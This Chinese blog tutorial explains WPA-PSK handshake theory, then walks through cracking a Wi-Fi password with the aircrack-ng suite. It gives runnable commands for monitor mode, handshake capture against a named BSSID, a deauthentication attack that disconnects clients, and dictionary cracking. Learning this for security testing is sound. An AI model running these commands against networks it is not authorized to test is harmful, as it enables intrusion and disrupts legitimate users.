[技术]无线WIFI攻击(安全检测)

作者: hackliu 分类: 技术文章 发布时间: 2018-07-20 00:12

概述

    工作需要学习一点无线知识,索性就买了个USB的无线网卡,做了个实验,简单了解下wifi无线破解的知识。

基础知识

WEP(Wired Equivalent Privacy有线对等保密)

最早的无线加密体制,由于算法的缺陷很容易被破解。抓包获取在数据流中明文传输的IV,再通过统计学方法用IV得到密钥。

1.png

WPA

在不升级硬件的前提下,WAP使用TKIP(Temporal Key Integrity Protocol临时密钥集成协议) 来实现WLAN的访问控制、密钥管理和数据加密来增强WEP的安全性。WPA加密算法有两个版本。

  • WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC

  • WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP

PS:
身份校验算法:802.1x + EAP(工业级、不怕网络劫持和字典攻击、认证服务器)、Pre-shared Key(家庭用、容易被字典攻击、无服务器)
数据传输加密算法:TKIP、AES
数据完整性校验算法:MIC、CCMP

WPA-PSK 的四次握手过程

1.png

  1. AP初始化

使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

  1. 第一次握手

AP广播SSID,AP_MAC(AA);
STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。

  1. 第二次握手

STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP;
AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

  1. 第三次握手

AP发送上面产生的ANonce给STATION
STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
MIC = HMAC_MD5(MIC Key,16,802.1X data)

  1. 第四次握手

STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。
AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。

破解

WPA—PSK破解原理

用我们字典中的Passphrase+SSID先生成PMK,然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。

环境

  1. VMware workstation 中安装的Kali Linux 2.0 (2018.1)

  2. TL-WN725N 无线网卡

PS:由于是虚拟机,注意是否usb挂载成功以及宿主机的VM usb服务是否开启。

插上USB无线网卡后,运行iwconfig以及lsusb,发现kali没有相关驱动:

1 (1).png

安装驱动

  1. 安装内核源代码、内核头文件以及编译环境。

apt-get install linux-source                # 安装内核源代码

apt-get install linux-headers-$(uname -r)   # 安装内核头文件

apt-get install build-essential             # 安装编译环境

  1. 在虚拟机中安装网卡驱动。

由于官网找不到这个型号网卡在Linux上的驱动,通过google找到了可用的驱动,选择其中一个下载并安装即可:

  1. 运行airmon-ng或者iwconfig,驱动安装成功:

root@kali:/# airmon-ng 

PHY Interface   Driver      Chipset

phy1    wlan0       mt7601u     Ralink Technology, Corp. MT7601U

1.png

破解过程

  1. 把usb网卡插入虚拟机,并开启网卡到监听模式,命令如下:

airmon-ng start wlan0 (wlan0为无线网卡名称)

1.jpg

  1. 抓包查看所在区域无线网的状态,选择需破解的目标网络,命令如下:

airodump-ng wlan0mon  ( wlan0mon 为无线网卡名称)

1.jpg

  1. 抓取目标网络的握手包,命令如下:

1
airodump-ng -c 1 --bssid F0:B4:29:65:06:1B  -w /root/Desktop/ wlan0mon

1.png

如果抓不到握手包,说明没有人用这个热点。

  1. 重新打开一个terminal窗口,使用DEAUTH攻击使已经连接的客户端断开并重新连接,以产生握手包。(注意:抓握手包破解必须有合法的客户端才行)命令如下:

12
# 参数解释:- 0 deauth攻击 10:进行10次攻击 -a:AP的MAC地址 -c:已连接该AP的客户端MAC地址
aireplay-ng -0 10 -a F0:B4:29:65:06:1B -c D8:63:75:BE:7B:F7 wlan0mon (多试几次)

当获取到握手包时会出现红框内的信息:

1.jpg

  1. 通过四次握手包和字典破解密码

# -a2 WPA的方法破解握手包 -w:字典路径 -02.cap: 第四步中抓取的握手包文件名 
aircrack-ng -a2 -b  F0:B4:29:65:06:1B -w /root/Desktop/6000_password.txt /root/Desktop/-02.cap

1.jpg

总结

编译Linux驱动还很烦人的,主要时间还是浪费在了驱动上,破解操作比较简单,基本安装参考文章来的。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

邮箱地址不会被公开。 必填项已用*标注